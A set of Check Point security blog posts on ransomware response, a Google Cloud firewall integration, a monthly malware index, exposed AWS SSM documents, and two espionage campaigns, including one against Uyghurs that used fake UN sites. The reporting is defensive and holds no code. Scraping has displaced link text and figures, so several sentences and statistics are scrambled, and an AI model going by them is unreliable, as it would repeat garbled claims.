Check Point Research (CPR) recently revealed that the average weekly number of ransomware attacks has increased 93% over the past 12 months. Every week, more than 1,200 organizations worldwide fall victim to a ransomware attack, and all enterprises without exceptions are at risk. According to , the damage caused by ransomware will reach approximately $20 billion this year, a 57-fold increase from 2015. By 2031, the cost of ransomware incidents could even surpass the hard-to-believe figure of $265 billion. Cybersecurity Ventures The number of ransomware attacks is growing for a simple reason, hackers are getting paid. The willingness to pay creates a dangerous loop and increases the motivation of attackers. Additionally, cyber risk insurance is becoming more common, so companies do not hesitate to meet the demands of cybercriminals, further exacerbating the problem. The increase in attacks is also related to the availability of threats. Many hacker groups offer ransomware as a service, so anyone can rent this type of threat, including infrastructure, negotiating with victims or extortion websites where stolen information can be posted. The ransom is then split between the ‘partners’. Yet, a ransomware attack often does not start with ransomware.  It often starts with a ‘simple’ phishing email. In addition, hacker groups often work together. For example, in the attacks, the Emotet malware was used to infiltrate the network, then the network was infected with Trickbot, and finally the ransomware encrypted the data. Ryuk ransomware How can enterprises even know if they have fallen victim of a ransomware attack and how should they react? If not caught on time, it’s relatively easy to find out, as organizations will get a message asking for a ransom and won’t be able to access the company’s data. In addition, cybercriminals are constantly refining their techniques to increase the pressure to pay. Originally, ransomware “just” encrypted data and demanded a ransom to unlock it. The attackers soon added a second phase and stole valuable information before encryption, threatening to make it public if the ransom was not paid. Approximately families use data theft in some way in addition to encryption. In addition, we have recently seen a third phase where the attacked companies’ partners or customers are also contacted for a ransom, this is a new technique called . 40% of all new ransomware triple extortion Check Point Software’s Incident Response Team, which has dealt with countless ransomware cases worldwide, recommends following these steps when a ransomware attack occurs: 1) Keep a cool head If your organization falls victim to a ransomware attack, do not to panic. Contact your security team immediately and take a photo of the ransom note for law enforcement and further investigation. 2) Isolate the compromised systems Disconnect infected systems from the rest of the network immediately to prevent further damage. At the same time, identify the source of the infection. Of course, as mentioned, a ransomware attack usually starts with another threat, and hackers may have been in the system for a long time, gradually covering their tracks, so detecting “patient zero” may not be something most companies can handle without outside help. 3) Beware of backups Attackers know that organizations will try to recover their data from backups to avoid paying the ransom. That’s why one of the phases of the attack is often an attempt to locate and encrypt or delete backups. Also, never connect external devices to infected devices. Recovering encrypted data may cause corruption, for example, due to a faulty key. Therefore, it may be useful to make copies of the encrypted data. Decryption tools are also gradually being developed that can help to crack previously unknown code. If you did have backups that haven’t been encrypted, check the integrity of the data before fully restoring. 4) No reboots or system maintenance Turn off automatic updates and other maintenance tasks on infected systems. Deleting temporary files or making other changes could unnecessarily complicate investigations and remediation. At the same time, do not reboot systems, as some threats may then start deleting files. 5) Cooperate In the fight against cybercrime, and ransomware in particular, collaboration is key. So contact law enforcement and national cyber authorities, and don’t hesitate to contact the dedicated incident response team of a reputable cybersecurity company. Inform employees of the incident, including instructions on how to proceed in the event of any suspicious behavior. 6) Identify the type of ransomware If the message from the attackers does not directly state what type of ransomware it is, then you can use one of the free tools and visit the website, you may find a decryption tool just for your ransomware there. No More Ransom Project 7) To pay or not to pay? If the ransomware attack is successful, the organization is faced with the choice of whether to pay the ransom or not. Either way, companies must go back to the beginning and find out why the incident occurred. Whether it was human factors or technology that failed, go through all the processes again and rethink the entire strategy to ensure that a similar incident never happens again. Taking this step is necessary regardless of whether an organization pays the ransom or not. One can never take comfort in the fact that somehow data recovery has occurred and consider the incident resolved. So to pay or not to pay? The answer is not as simple as it first appears. While the ransom amounts are sometimes in the hundreds of thousands or millions of dollars, outages of critical systems often surpass these amounts. However, enterprises must remember that even if the ransom is paid, it does not mean that the data, or even part of it, will actually be decrypted. There are even known cases where attackers have bugs in the codes so that the organization cannot recover the data even if they wanted to. Don’t rush into a decision and consider all your options carefully. Paying the ransom should really be the last resort. How can you minimize the risk of being the next victim of ransomware? Most ransomware attacks over the past year have taken place on weekends or holidays, when organizations are more likely to be slower to respond to a threat. Be extra vigilant on weekends and holidays. hit organizations around the world hard in May 2017, infecting over 200,000 computers in three days. Yet a patch for the exploited EternalBlue vulnerability had been available for a month before the attack. Updates and patches need to be installed immediately and have an automatic setting. Install updates and patches regularly. WannaCry Anti-ransomware protection watches for any unusual activity, such as opening and encrypting large numbers of files, and if any suspicious behavior is detected it can react immediately and prevent massive damage. Install anti-ransomware. Many cyberattacks start with a targeted email that does not contain malware, but uses social engineering to try to lure the user into clicking on a dangerous link. User education is therefore one of the most important parts of protection. Education is an essential part of protection. such as Trickbot or Dridex that infiltrate organizations and set the stage for a subsequent ransomware attack. Ransomware attacks do not start with ransomware, so beware of other malicious codes, If something goes wrong, your data should be easily and quickly recoverable. It is imperative to back up consistently, including automatically on employee devices, and not rely on them to remember to turn on the backup themselves. Backing up and archiving data is essential. If you want to minimize the impact of a potentially successful attack, then it is important to ensure that users only have access to the information and resources they absolutely need to do their jobs. Segmentation minimizes the risk of ransomware spreading uncontrollably across the network. Dealing with the aftermath of a ransomware attack on one system can be difficult, but repairing the damage after a network-wide attack is much more challenging. Limit access to only necessary information and segment access.

How Can Enterprises Prevent and Deal With Ransomware Attacks

By Jonathan Maresky, Cloud Product Marketing Manager The three pillars of CloudGuard are “Security Automated Everywhere”. · · We explain this in the CloudGuard pages in the Check Point website, in our marketing material and all through our presentations. This is also an easy way to remember our vision as well as the value to our customers. This blog post is relevant to the “Automated” and “Everywhere” pillars: cloud security is important for a number of reasons. The cloud is a dynamic environment, with constant changes in demand for services, with instances scaling up and down (as well as in and out), IP addresses changing, cloud vendor services being added or updated regularly, customer services being added or updated in CI/CD cycles, new users, etc. The recent explains that “any cloud solution that does not enable high levels of automation will be impossible to support and will be abandoned by customers. Legacy security approaches that rely heavily on human intervention cannot scale to meet the volume, velocity and variety of today’s cybersecurity threats.” Automated Buyer’s Guide to Cloud Network Security Cloud security is important because customer deployments span multiple public and private clouds, and security is required everywhere – preferably in easy-to-use processes and tools that are consistent across these clouds and even across on-prem networks where relevant. According to the Buyer’s Guide, “leading cloud security solutions are cloud-native and deeply integrated into the cloud vendors’ offerings. Tight integration also contributes greatly to overall ease of use, allowing configurations and tasks to be carried out with the least number of clicks and minimal navigation through complex interfaces.” everywhere An important part of the above is the need to constantly improve CloudGuard’s automation and ease-of-use. This is done by integrations with new cloud services as well as adding new functionality to CloudGuard to improve existing user experience and make life easier for cloud developers, architects and security engineers. This blog post will briefly explain some significant enhancements to CloudGuard’s integration with new and existing Google Cloud features, in order to help customers improve their Google Cloud security architecture, operational efficiency and ease-of-use. These new enhancements are a significant improvement and will provide immediate benefit to Google Cloud customers. And if you are using Google Cloud, I will explain how your Google Cloud security can benefit from this new functionality immediately. What is a Google Cloud Managed Instance Group (MIG)? Google Cloud enables users to create a collection of VM instances that can be managed as a single entity, called an . Instance groups can be managed or unmanaged. Managed instance groups allow the use of automated services, including autoscaling, autohealing, regional (multiple zone) deployment, and automatic updating. A Google Cloud MIG has similar functionality to an and a . instance group ASG in AWS VMSS in Azure What are the important considerations and objectives for using MIGs with CloudGuard Network Security? Ensure CloudGuard supports dynamic MIG functionality (e.g autoscaling) for outbound (“egress”) traffic as well as East-West traffic, which moves laterally inside the Google Cloud deployment. Enable customers to deploy one MIG for inbound (“ingress”), outbound and East-West traffic, instead of requiring the use of more than one MIG. CloudGuard security gateways can automatically respond to health checks by the load balancer. This also allows CloudGuard security gateways to be used with internal as well as external load balancers. The health check confirms that the CloudGuard security gateway is functional and if not, the load balancer will not forward traffic to this specific instance. The security gateways start responding to health checks immediately after being automatically configured. Support symmetric hashing to avoid the need for source NAT in East-West. These objectives are now all supported by CloudGuard. Some of these were made possible by Google Cloud improvements, some by CloudGuard improvements and some by a combination (in other words: a deeper integration). This blog post will explain these four objectives in more detail and how these were achieved: Dynamic MIG functionality for outbound and East-West traffic In the previous CloudGuard integration, when sending outbound traffic via a set of security gateways, users need to configure a route for each of the gateways. This required the user to maintain a fixed number of gateways – a suboptimal solution, especially for when the user needed to change the number of gateways and needed to update the routing table. The new integration supports the Google Cloud capability of adding an ILB as a next hop. The ILB can now redirect the packets to the targets of the load balancer, and then to the CloudGuard Network Security gateway instances in the MIG. This allows the MIG to easily increase and decrease the number of members, and supports an auto-scaling solution for outbound/egress and East-West traffic protection. One MIG for inbound, outbound and East-West traffic This architecture was not possible until recently because Google Cloud did not support specifying a specific interface when setting a MIG as an ILB backend pool. Internal and external load balancers could keep only the external interfaces as backend pool. This may lead to asymmetrical routing. Google recently added support for users to define to which interface to route traffic. This is achieved by using ILB in each VPC network to direct traffic to the CloudGuard security gateway interface associated with that network. Google also . configures the backend VM instances with the ILB IP address Automatic response to health checks How do internal and external load balancers know which instances are functioning properly in order to route traffic to them? They send regular to all security gateways in their instance groups (each connection attempt is called a probe). health checks Because the source IP ranges for Google Cloud health checks are the same for internal and external load balancers, CloudGuard security gateways could not use the static route to answer these probes. Because the internal load balancer is now able to store the internal interface of the instances in its backend pool, new CloudGuard functionality starting with enables the security gateways to respond properly to these health checks. The responses to health checks are now automated without requiring any additional configuration by the user. software version R81.10 Of course, the security gateway will start to respond to the probe immediately only after being automatically configured. What is Google Cloud Symmetric Hashing? a few weeks ago. Symmetric hashing is used by internal load balancers so that “when packets belong to the same flow, Google Cloud calculates the same hash. In other words, the hash doesn’t change when the source IP is swapped with the destination IP .” Google announced symmetric hashing address:port address:port Let’s see how this improves the automation and ease of use of Google Cloud traffic routing with CloudGuard. The diagram below shows lateral traffic (East-West), where an instance communicates with another instance in a different VPC With East-West traffic, it is good security practice to inspect the traffic to prevent threats from spreading laterally inside the cloud deployment. An instance in Spoke1 communicates to an instance in Spoke2, and the traffic is routed via a load balancer to a Check Point CloudGuard Network Security gateway inside a of CloudGuard gateways. The gateway inspects the traffic and after inspection, routes it to Spoke2 via the load balancer. managed instance group (MIG) The same gateway needs to inspect the returning traffic from Spoke2 to Spoke1. If another gateway inspects this traffic, it will possibly block this traffic (because it is not aware of the original traffic sent from Spoke1 to Spoke2). Before the release of symmetric hashing, to ensure that the traffic returning from Spoke2 to Spoke1 is routed to the same gateway, this gateway needed to use source network address translation (SNAT) on the traffic: in other words, assign its own IP instead of the source IP from Spoke1. In this case, the load balancer would know to route the returning traffic to the same gateway which would then inspect the traffic and after inspection, perform the reverse source NAT and route the traffic back to Spoke1. A disadvantage of this approach is that the use of SNAT means that Spoke2 is not aware of the true source of the traffic and thinks that the security gateway is the source. In certain situations, the application in Spoke2 needs the true source of the traffic for decision-making purposes, and this is often a significant limitation and source of frustration for cloud customers. SNAT also has a performance impact on the security gateway’s throughput. Google Cloud’s new feature simplifies the process considerably by providing a hash function to the internal load balancer that, given the same source and destination, IP and ports, directs the traffic to the same CloudGuard security gateway instance each time. This eliminates the need for SNAT by the gateway, and Spoke2 will see the traffic’s source as Spoke1 and not the CloudGuard gateway. And of course, it is symmetric, so traffic returning from Spoke2 to Spoke1 will use the same security gateway. Another benefit to customers is the improved performance of the security gateway. As far as I know, Google Cloud is the first and only cloud vendor to allow East-West communication without the need for SNAT, and CloudGuard uses this feature as part of its MIG solution. Check Point worked closely with the Google Cloud team while these new features were in preview and before official release. Now that the new features are launched (“General Availability”) we are excited to tell our customers and the world about the elegant new functionality and how it makes it easier to improve Google Cloud security with CloudGuard Network Security capabilities. And now for some videos! Shay Levin, the indefatigable Community Manager, uploaded CloudMates this high-level video of the new functionality Dmitry Suschevsky from the cloud QA team made these great technical videos: A demo of symmetric hashing and how to configure the new load balancer A demo of how to create and configure the Google Cloud MIG deployment For any technical questions, please contact your Security Engineer or . contact us These new capabilities are supported in the (and later releases). R81.10 software release Existing Google Cloud customers can deploy a MIG And another benefit that is related to Automation: The new solution is available using Terraform and can be found in the CloudGuard Network Security GitHub repository. For more detailed information about configuring the new MIG capabilities, please refer to the . Administration Guide

How We Built a Solution That Improves Google Cloud Security by Leveraging Managed Instance Groups

Check Point Research (CPR) reports that the Dridex trojan, which is often used in the initial stages of ransomware attacks, has now dropped from the index after being one of the most prevalent malwares in recent months CPR latest Global Threat Index for May 2021 has revealed that Trickbot, which first entered the list in April 2019, has now taken the top spot, while the established Dridex trojan has dropped off altogether after being one of the most popular malwares in recent months amidst a global surge in ransomware. While it’s not yet known why Dridex has fallen from the list, indicate that the Evil Corp gang, which is well known for distributing Dridex, has rebranded and shifted its approach to evade US treasury department sanctions. recent reports Taking first place in the index is Trickbot, which is a botnet and banking Trojan that can steal financial details, account credentials, and personally identifiable information, as well as spread within a network and drop ransomware, particularly Ryuk. It is constantly being updated with new capabilities, features and distribution vectors, which enables it to be a flexible and customizable malware that can be distributed as part of multi-purpose campaigns. Trickbot gained popularity after the takedown of the , and made fresh headlines this week as the charged a Latvian woman for her role in creating and deploying the Trickbot malware. Emotet botnet in January US Justice Department Since the beginning of 2021, CPR has seen a significant increase in the volume of cyberattacks towards enterprises. When comparing to May 2020 CPR has seen an increase of 70% in the number of cyberattacks in the Americas, while EMEA presents a 97% increase compared to May 2020, and APAC sees a staggering 168% year on year increase. While there have been a lot of talks about the recent increase in ransomware attacks, the reality is that there has been a huge increase in the total number of cyberattacks in general. It’s a significant and troubling trend, and organizations need to be aware of the risks and ensure adequate solutions are in place. Attacks cannot only be blocked; they can also be prevented, including zero-day attacks and unknown malware. With the right security solutions in place, the majority of attacks, even the most advanced ones can be prevented without disrupting the normal business flow. CPR also revealed that “Web Server Exposed Git Repository Information Disclosure” is still the most common exploited vulnerability, impacting 48% of organizations globally, followed by “HTTP Headers Remote Code Execution (CVE-2020-13756)” which impacts 47.5% of organizations worldwide. “MVPower DVR Remote Code Execution” ranks in third place in the top exploited vulnerabilities list, with a global impact of 46%. Top malware families *The arrows relate to the change in rank compared to the previous month. This Month, becomes the most popular malware with a global impact of 8% of organizations, followed by and impacting 3% of organizations worldwide each. Trickbot XMRig Formbook – Trickbot is a modular Botnet and Banking Trojan constantly being updated with new capabilities, features and distribution vectors. This enables Trickbot to be a flexible and customizable malware that can be distributed as part of multi-purpose campaigns. ↑ Trickbot – XMRig is an open-source CPU mining software used for the mining process of the Monero cryptocurrency, and first seen in-the-wild in May 2017. ↑ XMRig Formbook is an Infostealer that harvests credentials from various web browsers, collects screenshots, monitors and logs keystrokes, and can download and execute files according to its C&C orders. ↑ Formbook – – Agent Tesla is an advanced RAT functioning as a keylogger and information stealer, which is capable of monitoring and collecting the victim’s keyboard input, system keyboard, taking screenshots, and exfiltrating credentials to a variety of software installed on a victim’s machine (including Google Chrome, Mozilla Firefox and the Microsoft Outlook email client). Agent Tesla ↓ – Lokibot is an Info Stealer distributed mainly by phishing emails, and is used to steal various data such as email credentials, as well as passwords to CryptoCoin wallets and FTP servers. ↑ Lokibot – Glupteba is a backdoor which gradually matured into a botnet. By 2019 it included a C&C address update mechanism through public BitCoin lists, an integral browser stealer capability and a router exploiter. ↑ Glupteba Ramnit is a banking Trojan that steals banking credentials, FTP passwords, session cookies and personal data. ↑ Ramnit – Phorpiex is a botnet known for distributing other malware families via spam campaigns as well as fueling large scale Sextortion campaigns. ↑ Phorpiex – Qbot is a banking Trojan that first appeared in 2008, designed to steal users banking credentials and keystrokes. Often distributed via spam email, Qbot employs several anti-VM, anti-debugging, and anti-sandbox techniques, to hinder analysis and evade detection. Qbot – ↓ IcedID is a banking Trojan spread by mail spam campaigns and uses evasive techniques like process injection and steganography to steal user financial data. ↑ IcedID – Top exploited vulnerabilities This month is the most common exploited vulnerability, impacting 48% of organizations globally, followed by which impacts 47.5% of organizations worldwide. takes third place in the top exploited vulnerabilities list, with a global impact of 46%. “Web Server Exposed Git Repository Information Disclosure” “HTTP Headers Remote Code Execution (CVE-2020-13756)” “MVPower DVR Remote Code Execution” information disclosure vulnerability has been reported in Git Repository. Successful exploitation of this vulnerability could allow an unintentional disclosure of account information. ↔ Web Server Exposed Git Repository Information Disclosure – HTTP headers let the client and the server pass additional information with an HTTP request. A remote attacker may use a vulnerable HTTP Header to run arbitrary code on the victim machine. ↔ HTTP Headers Remote Code Execution (CVE-2020-10826, CVE-2020-10827,CVE-2020-10828,CVE-2020-13756) – – remote code execution vulnerability exists in MVPower DVR devices. A remote attacker can exploit this weakness to execute arbitrary code in the affected router via a crafted request. ↔ MVPower DVR Remote Code Execution – authentication bypass vulnerability exists in Dasan GPON routers. Successful exploitation of this vulnerability would allow remote attackers to obtain sensitive information and gain unauthorized access into the affected system. ↔ Dasan GPON Router Authentication Bypass (CVE-2018-10561) – remote code execution vulnerability exists in the Apache Struts2 using Jakarta multipart parser. An attacker could exploit this vulnerability by sending an invalid content-type as part of a file upload request. Successful exploitation could result in execution of arbitrary code on the affected system. ↔ Apache Struts2 Content-Type Remote Code Execution (CVE-2017-5638,CVE-2017-5638,CVE-2019-0230) A command Injection over HTTP vulnerability has been reported. A remote attacker can exploit this issue by sending a specially crafted request to the victim. Successful exploitation would allow an attacker to execute arbitrary code on the target machine. ↑ Command Injection Over HTTP – Inserting an injection of SQL query in input from client to application, while exploiting a security vulnerability in an application’s software. ↔ SQL Injection (different techniques) – An information disclosure vulnerability exists in OpenSSL. The vulnerability, aka Heartbleed, is due to an error when handling TLS/DTLS heartbeat packets. An attacker can leverage this vulnerability to disclose memory contents of a connected client or server. ↑ OpenSSL TLS DTLS Heartbeat Information Disclosure (CVE-2014-0160,CVE-2014-0346) – An authentication bypass vulnerability exists in WordPress portable-phpMyAdmin Plugin. Successful exploitation of this vulnerability would allow remote attackers to obtain sensitive information and gain unauthorized access into the affected system. ↑ WordPress portable-phpMyAdmin Plugin Authentication Bypass (CVE-2012-5469) – – A remote code execution vulnerability has been reported in PHP. The vulnerability is due to the improper parsing and filtering of query strings by PHP. A remote attacker may exploit this issue by sending crafted HTTP requests. Successful exploitation would allow an attacker to execute arbitrary code on the target. ↑ PHP php-cgi query string parameter code execution (“CVE-2012-1823, CVE-2012-2311, CVE-2012-2335, CVE-2012-2336,CVE-2013-4878) Top mobile malwares This month takes first place in the most prevalent mobile malware, followed by and xHelper Triada Hiddad. – A malicious application seen in the wild since March 2019, used for downloading other malicious apps and display advertisement. The application is capable of hiding itself from the user, and can reinstall itself in case it was uninstalled. xHelper Modular Backdoor for Android which grants superuser privileges to downloaded malware. Triada – Hiddad is an Android malware which repackages legitimate apps and then releases them to a third-party store. Its main function is to display ads, but it can also gain access to key security details built into the Hiddad –

The Rise and Fall of Dridex: What were the Most Prevalent Malwares of Last Spring

Highlights Check Point Research (CPR) identified a trend of user’s misconception of service on AWS system manager, resulting in personal records detection 5 million personally identifiable information (PII) records and credit card transactions revealed by CPR Check Point Research worked closely with to provide companies with the needed information to properly configure their systems and secure their stored data AWS Security New AWS feature helps companies avoid mistakenly exposing AWS Systems Manager (SSM) documents Overview CPR was able to detect personal records in Amazon Web Services (AWS). By analyzing and enumerating public AWS Systems Manager (SSM) documents, CPR retrieved over five million personally identifiable information records and credit card transactions of companies, including a global sportswear manufacturer. AWS Systems Manager provides the ability to automate operational tasks across AWS resources by creating SSM documents. An SSM document defines the actions that Systems Manager performs on their managed instances. Due to an increased rate of cloud migrations and deployments, CPR analyzed SSM documents and found a trend of misconceptions on the parameters of what should be shared within such documents. These misconceptions, and a lack of proper parameters usage (as defined in ), mistakenly exposed data records with millions of personally identifiable information (PII records) and credit card transactions. This information was stored on cloud services of several companies, including a global leading sportswear manufacturer. AWS best practices A misconfigured public SSM document might provide an attacker with valuable information about an account’s internal resources and operations. This not only serves as a good basis for social engineering attacks, but can also show additional resources being misconfigured. This can provide an initial foothold into the victim’s environment, potentially granting an attacker a view into the account’s deployment processes, resources, and backup procedures. During this research, CPR detected several SSM documents that led to the discovery of over 5 million Personally identifiable information (PII) records and credit cards transactions for several companies. Overall, researchers discovered more than 3k public SSM documents that were potentially related to this trend. Check Point Research worked closely with AWS Security to provide the identified companies with information to properly configure their assets and secure their documents and information. Furthermore, a new AWS feature helps companies avoid sharing such documents on cloud instances. Securing SSM Public Documents – Do’s and Don’ts During this research, Check Point detected several public SSM documents with hardcoded credentials within the SSM itself. Information such as usernames, passwords or access keys should never be hardcoded. If these values are required within an SSM document, AWS recommends using the and referencing these parameters within your document. Systems Manager Parameter Store Usernames do not belong within an SSM document When an attacker evaluated a target, easily accessible information might be useful to them as they prepare an attack. As SSM documents contain a summary of the infrastructure and its operations, they can be a useful source of intelligence, even if the SSM document does not contain any hard coded secrets. The username in the format of an email address could be the seed for an Open Source Intelligence (OSINT) investigation. An attacker may discover information about this Identity and Access Management (IAM) user, such as their profession, city, country, and their employer. This kind of detailed information can be a good starting point for a attack. Social Engineering or Spear Phishing When preparing an SSM document for use in public, it is prudent to remove information that seems insignificant, but can be helpful for attackers. Beyond the IAM users’ usernames in the form of email addresses, this can be anything that assists in a social engineering attack or abuse of misconfigured cloud resources. Descriptions may be Sensitive Information While sharing the resource’s name is not a security issue, it is a security best practice to avoid it. As an example, if you name an EC2 as “Access_to_DB”, this will alert any attacker to focus efforts there as the name implies it is a very valuable resource. In the above example, you see a description of the document with the phrase “Connect Payer-Account”. Just like with resource names, any text or description included in the public document might alert an attacker to an opportunity. Conclusion The sharing of SSM documents can be useful in a work environment. However, companies should be aware of how an attacker can use the information within the SSM document to stage an attack that can result in data exposure. CPR provides the following guidelines to companies who plan to use public SSM documents: Usage of parameters is essential. Information such as activation keys, user names, emails etc. should not be in clear text, but only with parameters. Remain vigilant of the information you are posting to a public SSM document. Even if it seems minor, it could provide information for an attacker. Do not share deploy processes and backup procedures Review any AWS resources included in the SSM document to ensure their configurations are secure. Modern cloud deployments can be tremendously complex and typically span multiple clouds. Check Point provides unified cloud native security for all assets and workloads, giving you the confidence to automate security, prevent threats, and manage posture –everywhere- across your multi-cloud environments. CloudGuard

How AWS Misconception Resulted in Detection of 5 Million Personal Records

Check Point Research (CPR) warns of a new cyber espionage weapon being used by a Chinese threat group, after it identified and blocked an ongoing surveillance operation targeting a Southeast Asian government. Over the course of three years, the attackers developed a previously unknown backdoor into the Windows software running on the personal computers of its victims, enabling capabilities of live-espionage, such as screenshotting, editing files and running commands. Attackers began by sending weaponized documents, impersonating other entities within the same government, to multiple members of the target government’s Ministry of Foreign Affairs Attackers developed, tested and deployed a new cyber espionage weapon, specifically a Windows backdoor with the internal name “ capable of collecting nearly any information the attackers want dll”, Surveillance operation placed significant effort into avoiding detection by limiting its working hours and changing its infrastructure multiple times Introduction Check Point Research (CPR) has identified and blocked an ongoing surveillance operation targeting a Southeast Asian government. The attackers, believed to be a Chinese threat group, systematically sent weaponized documents, that impersonated other entities within the same government, to multiple members of the target government’s Ministry of Foreign Affairs. CPR suspects that the purpose of the operation is espionage through the installation of a previously unknown backdoor into the Windows software running on personal computers of victims. After the backdoor is installed, the attackers can collect nearly any information they want, as well as take screenshots and execute additional malware on a target’s personal computer. CPR’s investigation revealed that the attackers have been testing and refining its Windows backdoor tool for at least the past three years. Using email to kick off the infection chain The campaign started with malicious documents (.docx) being sent to different employees of a government entity in Southeast Asia. These emails were spoofed to look like they were sent from other government-related entities. The attachments of these emails were weaponized copies of legitimate-looking official documents and used the remote template technique to pull the next stage malware from the attacker’s server including a malicious code. Remote template is a feature by Microsoft that allows one to pull a template for the document from a remote server whenever the user open the document. Weaponizing RTF files In this campaign, the remote templates in all the cases were Rich Text Format (RTF) files, which lets users exchange text files between different word processors in different operating systems. The RTF files were weaponized using the variant of a tool named , which allowed the attacker to create customized documents with embedded objects that exploit the Equation Editor vulnerabilities of Microsoft Word. RoyalRoad Despite the fact that these vulnerabilities are a few years old, they are still used by multiple attack groups, and are especially popular with Chinese APT groups. The initial documents and RTF files are just the very start of an elaborated multi-stage infection-chain, which are further analyzed below. Victory enters from the backdoor At the final stage of the infection chain, the malicious loader should download, decrypt and load a DLL (Dynamic Link Library) file into memory. In this attack, the backdoor module appears to be a custom-made and unique malware with the internal name “VictoryDll_x86.dll”. The backdoor capabilities of this malware include the ability to: Delete/Create/Rename/Read/Write Files and get files attributes Get processes and services information Get screenshots Pipe Read/Write – run commands through cmd.exe Create/Terminate Process Get TCP/UDP tables Get CDROM drives data Get registry keys info Get titles of all top-level windows Get victim’s computer information – computer name, user name, gateway address, adapter data, Windows version (major/minor version and build number) and type of user Shutdown PC Attribution CPR attributes, with medium-to-high confidence, the ongoing surveillance operation to a Chinese threat group, based on the following artifacts and indicators: The command and control (C&C) servers were communicative only between 01:00 – 08:00 UTC, which we believe are the working hours in the attackers’ country, therefore the range of possible origins of this attack is limited. The C&C servers did not return any payload (even during working hours), specifically during the period between May 1st and May 5th – in China. Labor Day holidays Some test versions of the backdoor contained internet connectivity check with – a leading Chinese web-site. baidu.com The RoyalRoad RTF exploit kit, used to weaponize the documents in the attack, is associated mostly with Chinese APT groups. Some test versions of the backdoor from 2018 were uploaded to VirusTotal from China Conclusion All the evidence points to the fact that we are dealing with a highly organized operation that placed significant effort into remaining under the radar. Every few weeks, the attackers used spear-phishing emails, laced with weaponized versions of government-themed documents, to try to create a foothold into the Ministry of Foreign affairs of the target country. This means that the attackers first had to attack another department within the targeted state, stealing and weaponizing documents for use against the Ministry of Foreign Affairs. Overall, the attackers, who are believed to be a Chinese threat group, were very systematic in their approach. Ultimately, CPR´s investigation led to the discovery of a new Windows backdoor, in other words a new cyber espionage weapon, which the Chinese threat group has been developing since 2017. The backdoor was formed and reformed time and time again over the course of three years, before it was used in the wild. This backdoor is far more intrusive and capable of collecting a vast amount of data from an infected computer. CPR learned that the attackers are not only interested in cold data, but also what is happening on target’s personal computer at any moment, resulting in live espionage. Although CPR were able to block the surveillance operation for the Southeast Asian government described, it is possible that the threat group is using its new cyber espionage weapon on other targets around the world. is the industry’s first unified security solution for users, devices and access, and has the ability to blocks attacks such as these from the very first step. It closes the security gaps that are usually left behind by multiple different point products from several different security vendors by blocking all exploit techniques across all attack vectors. Check Point Harmony

How a New Cyber Espionage Weapon in Southeast Asian Government Got Detected

Highlights Check Point Research (CPR), in collaboration with Kaspersky’s Global Research & Analysis Team (GReAT), have been tracking an ongoing attack targeting a small minority group of Uyghur individuals in Xinjiang and Pakistan Attackers use fake United Nations (UN) documents and human rights websites to spread malware that has the ability to exfiltrate information and take control of victims’ PCs The Uyghurs are a Turkic ethnic group, culturally affiliated with Central and East Asia, and considered one of China’s 55 officially recognized ethnic minorities Background In the past year, Check Point Research (CPR), in collaboration with Kaspersky’s Global Research & Analysis Team (GReAT), have been tracking an ongoing attack targeting a small group of Uyghur individuals located in Xinjiang, China and Pakistan. Malicious actors disguised their attacks in the following ways: They created documents that appear to be from the UN, using real UN information to ensure these looked authentic. Set up websites for non-existent organizations claiming to fund charity groups This blog details the investigation of the decoy methods this group used. Fake UN documents as a tool for initial infections The researchers’ investigations began with a malicious document found on the free malware scanning service VirusTotal named “ ” which carried the logo of the United Nations Human Rights Council (UNHRC), and contained content from a UN general assembly discussing human rights violations that made the document seem genuine. UgyhurApplicationList.docx After the user opens the document by clicking on “enable editing”, a malicious external template containing a macro code is downloaded, and this macro code proceeds to decode an embedded backdoor. After the backdoor is decoded, it is then named “OfficeUpdate.exe” and saved under the %TEMP% directory. In the two “OfficeUpdate.exe” examples the researchers located, the payload was a shellcode loader that utilizes basic evasion and anti-debugging techniques by using functions such as sleep and QueryPerformanceCounter. Delivery Websites – Impersonating the UN’s Commission for Human Rights The domain observed in the malicious document (officemodel[.]org) led to the same IP address as unohcr[.]org – a domain impersonating the Office of the High Commissioner for Human Rights (OHCHR). Investigating this method of fake domains and websites revealed a tactic of distributing malware through fake websites that host malicious executables targeting Windows users. Another IP address that unohcr[.]org led to was a domain named tcahf[.]org, which hosted a website claiming to represent the Turkic Culture and Heritage Foundation (TCAHF). TCAHF claims to be a private organization that funds and supports groups working for Turkic culture and human rights, when in fact it is a made up entity, with most of its website’s content having been copied from the legitimate “ ”. opensocietyfoundations.org The malicious functionality of the TCAHF website is well disguised and will only appear when the victim attempts to apply for a grant (see the added “Application” menu button in Fig. 5). The website then claims it must make sure that the operating system of the victim’s PC is safe before they enter sensitive information for the transaction, and asks them to download a program to scan their PC environment. The website offers two download options, one for MacOS and one for Windows, but when the team analyzed the website, only the download for Windows was available, while the MacOS version link served an empty file. Uyghur minority as a target Based on the nature of the malicious websites and the decoy content used in the delivery document, the researchers assessed that this campaign is intended to target the Uyghur minority or the organizations supporting them. The Uyghurs are a Turkic ethnic group, culturally affiliated with Central and East Asia, and considered one of China’s 55 officially recognized ethnic minorities. The research team’s telemetry supports this assessment, as it has identified a handful of victims in Pakistan and China. In both cases, the victims were located in regions mostly populated by the Uyghur minority. Attribution Although the researchers were unable to find code or infrastructure similarities to a known threat group, they attribute this activity, with low to medium confidence, to a Chinese-speaking threat actor. When examining the malicious macros in the delivery document, the research team noticed that some excerpts of the code were identical to VBA code that have appeared in multiple Chinese , and might have been copied from there directly. forums Impact of attacks and conclusion While most of the activity described above happened in 2020, it appears the attackers behind this campaign are still active, and working with newly registered domains. The findings of this research indicate these attacks are ongoing, and new infrastructure is being created for what looks like future attacks. Most recently, one of the domains appeared to be impersonating the Turkic Ministry of the Interior, but this and another domain redirected to the website of a Malaysian government body called the “Terengganu Islamic Foundation”. This suggests that they are pursuing additional targets in countries such as Malaysia and Turkey. However, the malicious group might still be developing those resources, since researchers have yet to find any malicious artifacts associated with those domains. The malicious executables created by the attackers exfiltrate basic information about the infected system but can also download a second-stage payload, or in the case of the documents, fetch additional commands from the command and control server. This means that the researchers have not yet seen all the capabilities of this malware, or the full course of action taken by the attackers following a successful infection. The motivation behind these cyberattacks seems to indicate a campaign of espionage, with the end game of the operation being the installation of a backdoor into the computers of high-profile targets in the Uyghur community. The attacks are designed to fingerprint infected devices, including all of its running programs. CPR and Kaspersky GReAT researchers will continue investigating this issue and report any new relevant findings.

How United Nations Documents and Human Rights Websites Were Used in Spreading Malware

